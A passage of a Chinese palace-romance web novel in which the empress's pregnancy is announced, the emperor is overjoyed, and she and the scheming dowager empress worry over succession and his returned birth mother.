这话让赵太后整个人立刻紧绷了起来。
她不敢置信一般哗地站了起来,盯着媜珠道:
“你说什么?你说什么?”
媜珠于是便将这个故事从头到尾又给自己母亲讲了一遍,不仅仅是昨天他们偶遇的故事,还有周奉疆之前告诉过她,他在扬州找到他生母的那些事情。
她虽不喜欢周奉疆,但好歹是为他和生母重逢感到一丝感慨与高兴的。
然而赵太后显然不会这么想。
郑夫人的出现,让她浑身危机感大作。
她不停地念叨着“她怎么还会出现”,一边在殿内来回踱步。
媜珠极为不解:“母亲,母亲您怎么了?您怎么不高兴的样子?”
赵太后愤愤不平道:“你这蠢物,还问我这话,我该高兴吗!天下几时能有两宫皇太后平安共处的。你哥哥和我本来就没有几分真心母子情分,他能留我做这个皇太后,一半是为了报我的恩,一半是看在你的份上。我以为他那生母早已死了,如今怎么又回来了呢!”
“这天下为人子女的,有几个不向着自己的生母。你这蠢物,你就眼看着吧,那郑氏回来了,几时皇帝的心被她哄好了,迎她进宫当了皇太后,我还要被撵到哪里去也不知呢!有了生母了,养母还算个什么东西?”
“你以为你的日子就好过了?我呸,你日子好过那是因为你没有婆婆,你婆婆是你的亲娘,所以疼你!要换郑氏进宫当你的皇太后婆婆,你这没心机的蠢货做了人的儿媳妇,还不够婆婆折腾的呢!哎呦!苍天啊,您老人家怎么存心都和我作对!”
媜珠满面困惑:“郑夫人从未说过自己要做皇太后啊。她好像连这个儿子本来也不打算认了的,当年在扬州她就知道那是她儿子,她也没想认。阿兄和我说,她最疼的是她在谢家生的儿子。”
赵太后恨得越发咬牙切齿起来:“那这不是更完蛋了!你说,她不疼爱的儿子当了皇帝了,她能不想着给自己疼的儿子谋个皇位坐坐?保不准马上她要使计进宫当皇太后,哎呀,那她接着就该哄皇帝封她在谢家的儿子当王爷了,再然后要用母子情分逼皇帝立谢家的儿子当皇太弟,要兄终弟及,这该如何是好啊!天呀!”
媜珠显然没有她母亲这样强烈的危机意识和超前的想象力。
她只能安抚母亲说:“阿娘,您想多了。”
赵太后几步又走回媜珠跟前,紧紧握着媜珠的手:
“我的乖女儿,娘这回不骗你,咱们母女这回是真的又大灾临头了,你眼下万不可再和他置气吵闹了,你可得把他的心好好拢住,千万不能让他把那姓郑的接进宫来,更不能让他立什么皇太弟!你这肚子怎么就不能争争气呢,怎么就不能早日生个小皇子出来呢?你要是早把小太子生出来,把国储定下了,母亲能这样惶惶不安地度日吗!这还不是为我没有个亲儿子、亲孙子!”
聊来聊去,话又说回到了这个上头。
哄周奉疆,跟他生孩子。母亲还是为了这两件事在催她。
见媜珠脸色也有几分郁郁不快,赵太后抱着女儿,拍着她的背哄她说:
“媜媜啊,索性他也活不长的。我告诉你,这些乱世起家的武人,身上哪个不是一身陈伤旧病?他们的身子其实早就垮了,不中用了,也就年轻的时候强撑着罢了。等稍上了些年纪,哪日喝酒多喝了两口都能中风倒下,纸糊的架子而已!你爹爹五十来岁就死了,隔壁的魏州节度使呢,五十岁时也是因旧病亡故的,再看从前唐宗宋祖,也是五十岁上没了命。
我老实告诉你,你以为你哥哥还有几年的活命?顶多二十年了!你怎么就这么傻呢,你还年轻啊,你跟他生个孩子,生个储君下来,哄着他立了太子,再熬个一二十年,他不中用了,你的儿子正当盛年,把他一熬死,你才四十岁,往后不都是你的好日子?你是皇太后,该我做太皇太后。到时候他一死,你要在宫里养几个男宠消遣,母亲也不拦你,那都是该你痛快的日子……”
媜珠总是会因为自己母亲的惊世言论而感到目瞪口呆。
她久久地说不出一句话来回应母亲了。
周奉疆虽解了媜珠的禁足,但之后的几日里不知为何他并未来找过她。
他不来,媜珠也不问,每日仍然是带着灿娘子一起睡。
灿娘子也越来越有些古怪了,总喜欢趴在她身边去闻她的肚子。它行事也沉稳了许多,不会再像从前那样偶尔没轻没重地直接朝她身上扑。
它对她温柔了许多,时常会安安静静地趴在她身边守着她。
六月的最后一天,太医署的医者们照旧来给媜珠切脉,这倒不是因为她最近病了,只是按例来看看她身体调养的状况。
因为这种切脉往往不是很重要,所以王医丞没有亲自过来,而是打发了他带过的一个学生来。
这位年轻的医者初次给皇后切脉,战战兢兢地冒了一头的汗,手搭在媜珠腕间许久不发一言。
媜珠微笑问他,是不是因为盖在她手腕上的帕子太厚了,要不要换个薄点的来?
年轻医者一边低头擦汗一边摇头说不敢,语气都有些结巴了。
最终,他诚惶诚恐地请示媜珠,说他才疏学浅,可能有些捏不准娘娘的脉象,还是要把老师王医丞给请来才敢定夺。
听他这么一说,媜珠一面答应了下来,一面也有些担忧,害怕自己莫非是陡然间生了什么重疾,让这年轻的医者都不敢直接告诉她吗?
待那医者离开,媜珠抚着自己的脸颊问佩芝:“我近来的气色不对吗?难道我真有什么大病在身?”
这么一说,佩芝心里还真的跳了一下,媜珠最近的气色好似确实有一点憔悴,眼下也偶尔会有一丝乌青,就像夜里没睡好似的。
但她当然不敢真的这么和媜珠说,只能满口安慰着她,说她气色一切都好,并无不妥,那年轻医者只是自己才学不够,不配侍奉娘娘罢了!
当这位年轻的医者寻到他老师王医丞时,王医丞正在宣室殿同皇帝说话,无外乎是继续关照皇帝几句,叫皇帝保重身体之类的话。
听到外间自己的徒弟寻自己去给皇后切脉,王医丞当即被吓了一跳,心说这不上道的徒弟实在没救了,自己没本事要搬老师当救兵来也就罢了,怎的皇帝还在这呢,他也敢这么不避人的说出来?
岂不是叫皇帝也知道他没用了。
果然,听闻此事后,皇帝立刻从宝座上起了身,拧起剑眉问道:
“皇后的脉象怎么了?何处不对?”
年轻医者畏畏缩缩地说不出来,王医丞动身要往椒房殿去,皇帝当然更是要去的。
正好,他今天本来就打算和媜珠好好地说些话。
当皇帝带着王医丞踏足椒房殿内时,媜珠显然是愣住了的。
椒房殿里的宫人们习惯了她见皇帝不开口、不行礼,但外人面前,媜珠还是给了自己丈夫几分颜面,规规矩矩地从榻上起身向他敛衽行了个礼:
“妾拜见陛下……”
周奉疆上前轻揽着她的腰身叫她坐下,神色颇有些紧张地又把王医丞提过来,令王医丞重新给媜珠切脉。
良久,皇帝催促道:“到底如何?”
王医丞不紧不慢地收回了手,脸上倒扬起几分笑意,恭恭敬敬地退后几步向帝后二人叩首拜下:
“臣,恭贺陛下、娘娘喜得龙儿。娘娘的脉象跳如滚珠,虽还尚浅,并未足月,然十之七八必为滑脉无疑。”
以王医丞的医术,他都说是十之七八了,实则必是有了万全的把握才敢开这个口。
王医丞堆起了数道皱纹的脸上,对着自己很上道的徒弟露出了一个满意的微笑。
这徒弟还真是没白收,懂事,孝顺他这个师傅!
原来他是早已切出了滑脉,知道皇后有孕,更知道这是陛下的第一子、大魏立国以来宫里的第一个孩子,尊贵非常,只要诊出来了,陛下、娘娘,还有太后那边,都少不了给他们重赏的。
这可是又体面又难得发一笔大财的时机。
这小子不敢揽功,还是把这体面让给他这师傅来领,孺子可教也。
当向帝后二人说出这番话后,王医丞一脸自得地等待着初为人父的皇帝因狂喜而失态,最后对着他大赏特赏,最好要一口气赏他几百亩地才好呢!
在皇帝这里捞完了赏,他还要去皇太后宫里报喜一声,再紧跟着从皇太后处捞点赏银来。
但,令王医丞意外的是,他说完这话后,帝后二人的反应……
竟格外的平静。
或者说,他们居然都没有反应。
谁也没有先立即开口说一句话。
周奉疆神情无比复杂地看了媜珠一眼。
这一刻,他居然并不是这么期待这个孩子这么快到来。
——因为有了这个孩子了,之后他再怎样和媜珠道歉,再怎样卑微地祈求她的原谅,她都不会相信他了。
她只会觉得,他是因为看在这个孩子的份上才愿意和她说那些话的。
他一直都没有和她道过歉,没有体谅过她所受的委屈,忽然之间正好赶上她有孕在身了,他就和她道歉了,她会信他这话里的真心么?
不仅她现在不会信,她这辈子都不会信了。
只要他一开口,她就会说,你是想哄我把孩子生下来才这样诓骗我的。
可他如果继续不开口呢,她又会说,你就是看我有了你的孩子才有恃无恐,连一句我要了这么久的道歉也不肯跟我说。你就是想用孩子绑住我。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
80-90
第81章
面对如此喜事,帝后二人这样沉默而僵硬的反应显然是超乎王医丞等人预料的。
作为一个熟练的老江湖,王医丞甚至只是在探出皇后脉象的那一刻,他就已经算好了他能从这金贵的龙胎身上捞得多少油水了。
初初得知皇后有孕时,皇帝皇后和太后那里的赏银自不必多说,等会儿帝后二人要是问起这个孩子的胎象如何,稳不稳妥,他还要好好拿捏一番这言辞之间的技巧。
他要故作高深的告诉皇帝和皇后说,娘娘这一胎胎象尚浅,的确有几分不足,需要细细养着,不过么,只要养得好,龙胎平安落地自没有问题的,陛下和娘娘也不必太过悬心。
陛下和娘娘都是初为人父母的,在这上头半知半解,一听他这话,当然又要重赏重用他,叮嘱他不惜一切代价帮皇后养好这一胎。
而皇后这一胎本来就没什么大问题,等到月份上来了,胎气稳重,那不就又成了他竭心竭力服侍娘娘和皇子的功劳了么?
陛下、娘娘再一高兴,又少不了该他的赏赐了。
对了,还有赵太后那里。
皇帝和皇后眼下大约还有几分龃龉不快,最期盼这一胎平安落地的还是赵太后,最最想要这个孩子应当也还是赵太后,为了叫他好好安抚皇后养胎、照拂着皇后怀胎十月的身体,赵太后要用到他,私下必少不了赏他的东西。
这么一想,眼前似乎就有无数白花花的银子、金灿灿的元宝在对王医丞招手了。
待他多聚些财帛,后半辈子吃喝不愁了,以后这无德的暴君再敢对他们太医署上下耀武扬威的,他还不伺候了呢。他立刻就收好包袱告老还乡去。
是以,他脸上的笑意比尚处于一片错愕中的帝后二人还要浓些。
最后先回过神来的还是媜珠。
她僵硬地将一只手轻轻抚在自己并未显怀的肚腹上,温声向王医丞问道:
“医丞当真吗?本宫腹中确有胎儿?这孩子……孩子约摸多大了,它好吗?”
王医丞立刻答道:
“臣虽医术浅陋,然娘娘的滑脉跳如滚珠,臣尚能断定必为有妊无疑。娘娘腹中龙胎尚不足月。——虽有几分虚弱,但若能细细调养下去,并无大碍,娘娘腹中胎儿必能顺利降生。”
闻言,媜珠的神色微有几分说不出的异样,但她还是在外人面前保持了本应属于皇后的仪态。
她抬首望向身旁的周奉疆,温柔浅笑:“妾恭贺陛下喜得龙儿。”
见媜珠情绪尚算正常,周奉疆这才后知后觉地回过了神来,心中稍稍安定,面上也不由自主地露出了笑意。
他握住媜珠的手,将两人的手都缓缓贴合在她柔软的腹部,神色也是他极少在外表露出来的欣然愉悦,
“媜媜……媜媜。”
他唤着她的名字,俯首靠近她,将她抱得更紧了,媜珠甚至可以感受到他胸膛中热烈的心跳声,他的呼吸有些乱,心跳得也很快,眉目之间凝着的俱是浓浓笑意。
他真的很高兴,这是媜珠第一次见到他这么高兴的样子,比他们的新婚之夜时还要欣喜无数倍。
这一两年来似乎也没有别的更能让他高兴的事情了。
他在长安正式登基为帝的那一天,他俘获前楚君王宗室,在长安行献俘礼的那一天,媜珠都有着皇后礼衣陪在他的身边。
可在那些场合里,即便是十二章帝王冠冕紫金蹀躞带加身,面对自己万千臣民的跪拜叩首,三呼万岁,站在万人之巅,他的神色似乎也还是稀松平常的,淡然的,仿佛那些都并不足以取悦他。
因为这些都在他的预料之中,是他早就知道会发生的事情。
他并不因此而感到过分喜悦。
唯独今天是不一样的。
他从未真正敢想过他和媜珠如果有一个孩子会是怎么样的,也从未敢设想过有朝一日媜珠腹中怀上他们的孩子会是何等模样。
甚至于,拜他那常年饮用的男子避子的凉药所赐,他以为就算要等媜珠有孕,也要到数月之后才能有消息。
然而今天这个孩子来了。在一个这样平淡的仿佛不会有什么大事发生的时刻,它悄无声息地托生到了媜珠腹内。
最关键的是,即便媜珠并不爱他,可她似乎也并不排斥他们的孩子。
大抵每个男人初为人父时都免不了这样失态的喜悦,尤其是这还是他毕生挚爱、唯一的心爱之人怀上的他的孩子。
纵使还有外人在场,他虽知这样有些不妥,却还是忍不住温柔而虔诚地吻了吻媜珠的额心:
“媜媜,我们有孩子了。我们有一个孩子了……好好把它生下来,好吗?这是我们的第一个孩子,是我的第一个孩子,是我们大魏立国以来第一个降生在宫中的孩子。”
“把它生下来,好好地把它生下来,好不好?
若生而为女,等她一出生我便册封她为镇国公主,让她享有从前所有公主都没有的尊荣,我还要把最富庶的宝地赏赐给她作为封邑。我会让她做这世上、这天下最快乐的小公主,她嫁不嫁人、嫁给什么人、几岁嫁人都没什么紧要的,只要她永世快乐就好。她一定会是个长得像你那样美丽的小姑娘。不论她是否乖巧都不打紧,只要她是你我的女儿,我就会永远宠爱她,纵容她。
若这个孩子生而为男,既是嫡子,又是长子,理应被封为太子。他就会是我们大魏的诸君,是我的嗣位之君。我会好好教导他,教他长大之后学会保护母亲,孝顺祖母。让他延续他母亲和他祖母百世的荣光。自此之后,万世之君皆出自你的血脉,皆是你的后嗣。”
“媜媜,我这一生若有幸得有子嗣,那这孩子只会是出自你的腹中,我的孩子只会由你来生下。”
皇帝此话一出,椒房殿内很快便陷入了一阵寂静,所有人皆是屏息凝神,不敢出大气一声。
——无论是作为一个君王,还是作为一个男人,一个父亲,一个丈夫,在外人看来,他已经向他的妻子许出了这世上最动人的诺言,给出了最庄重的承诺。
这样的条件对这世上任何一个女人来说,应当都是无比诱人的,为这样的男人生下孩子,怎么都不算亏。
哪怕这个女人并不爱她孩子的父亲,很大概率来说,也许她还是无比情愿生下这个孩子的。
但赵皇后又显然不是一般的女人。
其实所有人都在静静地等待着皇后的答复。
然而最后媜珠对皇帝的话也未置可否,她只是柔柔地一笑:
“陛下龙颜一悦,四海江山承平。陛下既有如此喜事,可否叫臣下奴仆们也沾染陛下的恩德赏赐?”
被她这样一提醒,周奉疆这才从无边的喜悦中稍稍拉回了些许理智。
他先侧首望向还跪在地上的王医丞,开口时语气极为和悦:
“皇后有妊,乃国之瑞照。还劳烦医丞好好看顾着皇后这一胎了。朕要厚厚地赏你,金银、玉器、田亩、绫罗绸缎、为你升官,给你殊荣……这些朕都给你!你可能向朕保证皇后与孩儿母子俱安?”
王医丞等的就是这句话,他连连叩首应下,说是谢过陛下和娘娘的器重,必不负所托。
皇帝指着他又道:
“只要你照顾好皇后,不论皇后腹中这一胎是男是女,这孩子以后的满月酒、百日宴、周岁宴,朕记着你辛勤侍奉的劳苦,都少不了好好地赏你。”
王医丞又一一应下。
皇帝说起这一茬就有些没完没了的架势了,他回忆起赵太后当年怀媜珠时的小心翼翼,后宅的女人怀了身子,最怕受奸人暗害,然媜珠如今有他悉心呵护照料,居心叵测之人的黑手是害不到她身上的,可她还是得被人小心翼翼地养着。
他仔细思索起赵太后当年为生下媜珠未雨绸缪所做的准备,又嘱咐王医丞道:
“现在,你现在就去为朕好好去寻几个擅为女子接生的产婆,要拣选最好的来,宫里宫外长安城内外都去寻,只要是好的就将她们选进宫中来备着,还有以后喂养这孩子的奶母,也要先细细教过她们如何照料孩儿,这刚出生的婴儿易泛上什么病症,医丞,这些你也懂得么?你常是伺候大人的,小儿的病症上你精不精熟……”
媜珠实在是怕了他了,怕他再这样说下去,连这孩子十来年后成婚时要用的媒婆他都恨不得现在一口气备齐了似的。
媜珠轻轻拉了拉周奉疆的衣袖,对他微笑着暗示道:
“陛下若要赏人,除了赏赐医者们,可还要赏一赏旁人?”
她的意思是至少还有宫中侍奉的宫人们,按例也该沾沾这个喜气得到一些主子们的赏银的,但周奉疆显然误会了她的意思,以为她是在暗示他赏她些什么。
周奉疆握紧了她的手,将她的双手捧在掌心,像是捧着一件稀世的珍宝:
“媜媜,你受苦了。朕,我最该谢的人是你。我要为你加尊号,为太后加尊号,要厚赏赵国公府,我只恨不得把国库中天下珍宝都搬到椒房殿来赠与你……”
媜珠强忍住没有将那个白眼翻出来,她回绝了他的提议,又说:
“妾的意思是,陛下也该叫左右侍奉的宫人们沾一沾陛下龙颜大悦的荣光啊。”
皇帝到这时才终于反应了过来,他对着殿内宫人们笑道:
“皇后有孕金贵,正是更加要人十二般小心伺候的时候,朕要先赏你们两月的月银,去告诉内司省一声,今日就把赏银全都发下去!待皇后腹中孩儿平安降生,朕更少不了赏你们的。”
直到这时,殿内宫人们才满面喜气地扑腾一声跪倒在地,口称陛下娘娘恩德,祝贺陛下、娘娘大喜。
只赏这些人,皇帝犹嫌不够。
他要赏阖宫上下宫人每人两月的月银,还要宫中膳房制作不计其数的喜饵、胡饼、香茶和点心,给宫中上下宫人们全赏一遍,同沾喜乐。
不够,不够,仍旧不够。
这是他和媜珠的孩子,这是他们的第一个孩子,是这个孩子托生到他们身边来,才让他们为人父母的。
他命中书省官员草诏晓谕天下,让天下人都知道他的喜悦,免去这一季三月里天下百姓耕种的赋税,他要做所有能做的一切事来为这个孩子的到来而庆贺。
——皇帝还额外提了一句,那些关押起来的前楚帝王宗室们,今天也赏他们一顿肉汤吃,告诉他们一声,他的皇后有孕了。
至于这是专门为了去告诉谁,彼此都心知肚明。
他在椒房殿里几乎有些失态地发着疯,媜珠就坐在榻上静静地看着他发疯。
这一刻,即便他是在行使天子的皇权、为了发泄他的喜悦而一次次发号施令赏赐天下人,可在媜珠眼里,他只是一个普通的男人。
一个初为人父的普通男人。
她今年二十三岁,和他认识二十三年,这是她见过他最高兴的一刻。
他今天真的太高兴了。
媜珠低头轻抚着自己的肚子,连她的神色也还有几分恍惚。
谁也不能伤了他的孩子,连她也不行。
她也不能打这个孩子的主意,她要是敢动这个孩子半下,他……
也许他真的会彻底疯了的。
第82章
她从前一直心疼自己的哥哥过得太辛苦,尤其是在渐渐长大知事的年纪后,还知道了哥哥从前的身世,知道他背负着她母亲的期望,知道他其实一直以来都很辛苦。
她希望有一天他可以真正快乐,希望可以从他眉眼之间看到他能发自内心地展露悦色。
然而当她终于等到这一天时,却发现他的快乐来自于她腹中怀上的他的孩子。
这一刻连媜珠自己的心也是一团乱麻,这一切于她而言都太过突然,她甚至此刻尚不能真正接受自己腹中正孕育着一个孩子,即将要成为人母。
她父亲周鼎有很多的妾室,很多的孩子,从前在家中她并不是没有见过怀胎的妇人。
父亲的妾室们怀有身孕时,她们的神色皆是无比欣喜的,对自己腹中孩子的到来是万般期盼的,她们似乎就可以很快将自己代入到一个母亲的角色里来。
可她们为什么那样高兴呢?
现在想来,并不是因为她们真心有几分爱自己孩子的生父,更不是因为欢喜于要为自己心爱的男人孕育子嗣,只是因为,她们明白这个孩子的到来可以让她们在家中的日子更加好过一些。
不论生下男孩女孩,不论她们身为妾室是否被允许亲自抚养这个孩子,不论这孩子的父亲周鼎是否喜欢这个孩子,只要她们为这个男人生下孩子了,她们的身份地位总会变得有点不一样的,哪怕只是一点点呢?
至少这孩子长大了,还能成为她们的依仗呢。
就像李太妃和她的女儿颍川公主。
那她呢?
媜珠想到了自己。
她需要一个孩子吗?她需要一个孩子来为自己立身吗?
她母亲赵太后一直告诉她说,她很需要,她们母女都需要,她们一定要有一个小皇子。
媜珠明白母亲的苦心,她也知道母亲的本意是好的,可如果就这样让她承受十月怀胎之苦去生下一个孩子,她心中仍觉得有几分不甘心。
仿佛她只是为了自己的利益去利用腹中这个还未成型的孩子一般。她不是一个好母亲。
那怎样又才算是一个好母亲呢?
因为爱这个男人,所以心甘情愿地为他生孩子?只有爱上一个男人,让自己的孩子生来就浸泡在父母的真心疼爱中长大,这样才算一个为孩子的着想的好母亲?
她不懂,也理不清自己心里到底在想些什么。
片刻后,皇帝挥退了殿内的众人,命他们退下,他要和皇后单独待一会。
王医丞和宫人们叩首退下,周奉疆面上犹带着笑意,转身向媜珠走去。
然而,在外人全都离开后,媜珠脸上努力保持着的得体温婉的皇后仪态也被她立刻放下,她沉下了笑脸,面无表情地坐在榻上,神色恹恹。
看到她的表情,周奉疆的笑意也瞬间凝固住了。
他定定地看了她许久,忽然他终于意识到,也许她并没有他想象中的喜爱这个孩子。
刚刚他自以为的一切美满幸福,都只是他自欺欺人罢了。
他问了她很多遍,希望她能好好的生下这个孩子,可她回答了吗?
哪怕是当着众人的面,她也只是漫不经心地搪塞了他,她甚至连向他保证会生下这个孩子都不愿意。
现在的她才是她真实的样子,在发现这个孩子的存在后,她根本没有那么开心。
这个认知让周奉疆不由自主重重地拧起了眉头,心底也塌陷了一块下去。
——可是这好像又并不奇怪,她现在根本就不爱他,又怎么可能会为了怀上自己痛恨的男人的孩子而感到高兴呢?
这个尚未足月的孩子是怎么来的?是什么时候怀上的?
是她被他软禁在椒房殿里的那段时间,他一次又一次地强迫她和他同房,在他们连云雨欢好都没有一点爱意的时候,这个孩子托生了过来。
她那样骄傲而刚烈的人,怎么可能会为了一个这样到来的孩子高兴。
他忽然感到一阵浑身冰凉,继而就是蔓延至全身的恐惧和无力感。
如果她真的不喜欢这个孩子,不想要这个孩子,他又能拿她怎么办呢?
这孩子到底是在她的肚子里,是要以她的血肉滋养才能活下来的。
他可以逼她怀上,可以时时刻刻不间断地找人看管着她,他可以保证她不能做出任何伤害这孩子的举动,也不会把任何危险的物什放在她身边,但她的心呢?
即便他有统御四海的无上皇权,他也控制不了她的心。
只要她的心里不爱他们的孩子,只要她在怀胎十月的孕期里过得并不开心,郁郁寡欢,从不展眉,想必这孩子……这孩子也未必能顺利生的下来。
就算他以一己之力为这个不受母亲期待的孩子逆天改命,强行逼她生下来,那生下来之后呢?
当这个还未成型的孩子变成一个活生生的人出现在她面前,她会爱它吗?
也许在产后乍然成为一个母亲,她也逃脱不了天然骨肉血亲的牵连,她会重新爱上她的孩子。
但另一种很大的概率是,她会继续讨厌它。
到那时候他又该怎么办?
继续一次次的逼她吗?
逼她去抱抱这个孩子,去逗逗这个孩子,逼她在孩子面前扮演慈母模样,逼她去疼爱她不喜欢的孩子?
周奉疆蓦然感到了一阵铺天盖地的绝望。
他沉默地上前再度抱住媜珠,轻轻地抚着她的背:
“媜媜。”
媜珠在他怀里闷闷地嗯了一声,却没说话。
“你是不是不喜欢它?不想要它?”
媜珠顿了顿,却仍旧没有正面回答他的问题,“你觉得呢?”
周奉疆长长地叹了一口气。
“那应该也就是我的命吧。我就是一个不受自己母亲期待的孩子,哪怕换了一个母亲,我的养母对我也依然没有几分真心疼爱。我在这世上是个多余的拖累,我的孩子也理应继承我在自己生母那里受到的厌恶与嫌弃。——这不怪你,这一点也不怪你,这都是我的错。”
媜珠在他看不见的地方勾唇笑了一下:
“我可没有你母亲对你那样的狠心,我也绝不会那样对我的——”
她忽然止住了话头,从他怀中仰起头看他:
“妾妄议陛下生母,非议婆母,罪该万死。”
周奉疆不知为何也笑了一下,他摇了摇头,温柔而宠溺地抚了抚她的后脑:
“你说的本就没错,她对我本就狠心恶毒。只不过,世人皆知,我无生母,我皇后的婆母是赵皇太后,以后那个妇人,就不必再提她了。我和她没有母子缘分,我也不是她的儿子了。”
媜珠佯装不解地问他:“陛下……那夜在未央湖上,没有和郑夫人解开心结吗?”
皇帝冷笑:“她抛弃我二十多年,冰冻三尺非一日之寒,又岂是她三言两语间我就能和她母子情深起来的。她的确是说了几句尚算中听的话,但她不是我的母亲,我也不是她的儿子,见或不见,其实那夜也没什么大不了的。”
媜珠试探道:“妾以为陛下会将婆母迎回宫中为生母皇太后,也理应册封谢氏弟妹们为亲王、公主。陛下若是这样做了,婆母一定会很高兴的。情意都是渐渐滋养出来的,也许以后一家人在一起的时日久了,都会不一样的。”
皇帝满脸嘲讽:“做她的春秋大梦去吧!我辛辛苦苦打下来的江山,要迎她做什么皇太后?还封她的儿女做王爷公主?要不要我再把她的后男人也接进宫里封一个太上皇啊?索性朕也改随他们一家姓谢罢了!”
他吐出一口浊气,“什么情意,我不稀罕和她滋养什么母子情分。有的人生下来就亲缘浅淡,我便是这样的人,我活该得不到母亲的疼爱,这是命中注定之事,无需强求。”
——若是眼下赵太后能听到这番话,大约能高兴得一下蹦起来。
说完后,他又低头蹭了蹭媜珠的脑袋:
“可是媜媜,你告诉我,我的孩子会和我是一样的命数吗?”
媜珠道:“自然不会,陛下的孩子生来就有生父的宠爱,是这世上最幸运的孩儿。陛下说,若这孩子是女孩儿,就封她为镇国公主,愿意无条件地纵着她,宠着她,不管她一辈子嫁不嫁人、嫁什么人,都由着她的心意。”
周奉疆以为她是在试探他有几分真心爱他们的孩子,立刻向她表起了忠心:
“如果我们有一个女儿,我一定会让她做这世上最幸福的女孩儿。她会享有无上的荣华,她会一辈子顺她的心意而活,谁也不能做半分勉强她的事情,她一生想怎样纵兴快活就怎样快活。如果她愿意,她可以一辈子不嫁人,也可以想嫁谁就嫁谁。我不求她怎样的懂事、听话、乖巧、孝顺,我只想她活得开心,只要她开心,她在这天下横着走都行。”
媜珠又问他一遍:“陛下当真会这样爱我们的女儿吗?”
周奉疆握住了她的一只手,和她十指相扣:
“朕以朕的江山基业向你起誓,绝无半句虚言。”
媜珠面上也浮起一层冷笑:“那你愿意这样爱我吗?”
他霎时间愣住了。
媜珠看着他,一字一句地问他:
“那你愿意像爱她那样爱我吗?让我一辈子顺我的心意而活,谁也不能做半分勉强我的事情。我不用对着你懂事、听话、乖巧,只要我开心就好。如果我愿意,我可以一辈子都不嫁人——也不用嫁给你。”
她厌烦地拂开他的手:“你根本做不到。你说你爱我,你说我腹中的孩子是子以母贵,是因为出自我的腹中才会得到你承诺的殊荣与宠爱,可你对我都不能做到这些,你让我怎么相信你会这样爱我们的女儿?你身为父亲都做不到这些,你凭什么来索要我对这孩子的母爱?”
她摆起了脸色,“我最厌烦满口胡言没有半句真心的男人了。你走吧,我累了,我要睡一会。”
……
周奉疆怕刺激到她孕期的心情,终是不敢再多和她争辩什么,他只能一言不发地抿着唇将她扶到榻上躺下,为她拢好帘幔,沉默地离开。
灿娘子躲在多宝阁上无声对他龇牙咧嘴几下,看着他走远了,又爬回榻上缩在媜珠身边守着她。
媜珠这一觉睡到了下午时分方醒,她初醒来没多久,尚未来得及梳妆更衣,佩芝便过来通传了一声,说是赵太后过来看她了。
媜珠捏了捏眉心,还未等她说什么,赵太后已满面喜色地一路挤了过来,一气儿在媜珠榻边坐下,媜珠还没来得及开口,她就先发号施令起来:
“哎呦,这瘟猫怎么也带到榻上睡了,啧,瞧瞧这处处掉的猫毛,真不检点,难怪你哥哥也不喜欢它上榻,你现在怀着身子,这些小畜生没轻没重的,别冲撞了你,这些畜生哪好养在殿里的?你抱去给我那里养吧,我不会亏待了你的畜生的,依旧好吃好喝供着它,等你生完了我再给它还给你。”
灿娘子约摸听懂了几句,有些不高兴地垂下了猫耳朵,用猫尾巴将自己整个团成了一团。
媜珠辩解了几句:“灿娘子我养了好几年的,已通了人性了,成了精的猫妖一般的聪明,它最懂事的,我自己还不知怀上的时候它就嗅出来了,对我从来小心,如何就冲撞我了,您就别管这些了。”
赵太后嘲笑:“那我怎么听佩芝她们说了一嘴,说它上次把你哥哥也抓伤了?莫非就是舔了两口龙血,所以成了精的?”
媜珠赶忙先岔开话题,附在她耳边低语道:
“您不是担心那郑氏的事么?我替您跟他试探过了,他说他绝不会迎郑氏入宫,也不会封谢家的弟妹们名分的。您就别为这些事悬心了。”
赵太后果然立刻忘记了灿娘子这一茬,弯眉笑道:“好啊,也是你把我的心事放在心上了,你哥哥这才算有良心些,生恩哪比养恩重,他敢迎郑氏,我还不让呢!”
趁着赵太后在那头笑着,媜珠使了个眼色,灿娘子畏畏缩缩悄无声息地下了榻先躲起来了。
第83章
其实赵太后对郑夫人及她生在谢家的儿女们犹留有后手,若是皇帝当真有意要迎生母入宫做皇太后,她便会教媜珠设局在周奉疆面前“献谗言”大吹枕头风,说郑氏母子们和皇帝有相克之象,若居于一所,于江山社稷不利,于皇帝的子嗣不利,严重还会妨碍得皇帝断子绝孙生不出一个孩子来。
要是媜珠摆不下脸来去做这种不道义的事情怎么办?
那她就告诉她女儿,一国只能有一位皇太后,只要她周媜珠敢坐视皇帝迎生母入宫欺压她,她就死给她看!看看是她婆婆重要些,还是她亲娘对她来说重要些!
皇帝要是不信这些怎么办?
那她还有各种连环招。
要是这些连环招都无用,又该怎么办?
那她就是硬耗也要把郑氏给耗死,跟她拖上几十年,她也要成为最后的赢家。不仅把郑氏给耗死,她还要把她的儿女们都给拖死,她硬活也要活到太皇太后的岁数上来。
这是赵太后多年以来学会的生存法则。
还好,在她还在这边一厢情愿地把郑夫人和郑夫人的其他四个孩子当做假想敌时,媜珠却有孕了。
这实在是个天大的好消息,这孩子来的当真太是时候了!
当王医丞如此向她来贺喜时,连她也忍不住露出了多年以来第一个如此真心而畅快的笑容。
在这个世道里,孩子总是被视为一切新生的希望,有了孩子,一切就都好办了,往后的所有也都有了指望了。
这孩子的到来,犹像大魏这颗新被扶植起来的大树上第一支柔柔冒出来的嫩芽,于这个帝国而言象征着无限的生机。
媜珠只顾着在殿中午睡,定然还不知外头的整个长安城已飞速之间传遍了这个消息,眼下整个长安城已陷入了一片沸腾之中。
她这孩子一怀,赵国公府的地位愈发要水涨船高起来,只怕不过几日,赵国公府的门槛也要被那些来攀附交好的人给踏烂了罢。
为了好好养着她的孩子,王医丞那老匹夫又从赵太后手中捞了一笔好处,赵太后对他千叮咛万嘱咐,劳烦他一定要助皇后顺利生下龙子。
不过只要这个孩子能生下来,就算不是小皇子,是个小公主,能给她们母女和赵国公府带来的好处也是不可估量的,赏赐拉拢王医丞那老匹夫再多银两也是值得的。
哪怕是个小公主,哪怕这个小公主什么也不做,少说也能再保赵家百年荣华。
赵太后亲昵地抚了抚媜珠的鬓发,这一刻她对媜珠的笑容无比慈爱怜惜:
“我的乖女儿,你是一辈子积德行善、福慧双修的人,你这一生,生来就是要享无上荣光的命,所以这才叫这孩子托生到你肚子里,给旁人还不能呢。这是你哥哥的第一个孩子,又是这大魏的第一个孩子,是中宫皇后所生,既嫡且长,生下来了就是该享福的命。”
她眉梢间闪着一抹算计的精明,又探媜珠的话,“我听你哥哥今日才在这殿里说过,说这孩子若生为女,生下来就封镇国公主,若生为男,生下来就是储君太子,是有这话吧?”
媜珠点了点头。
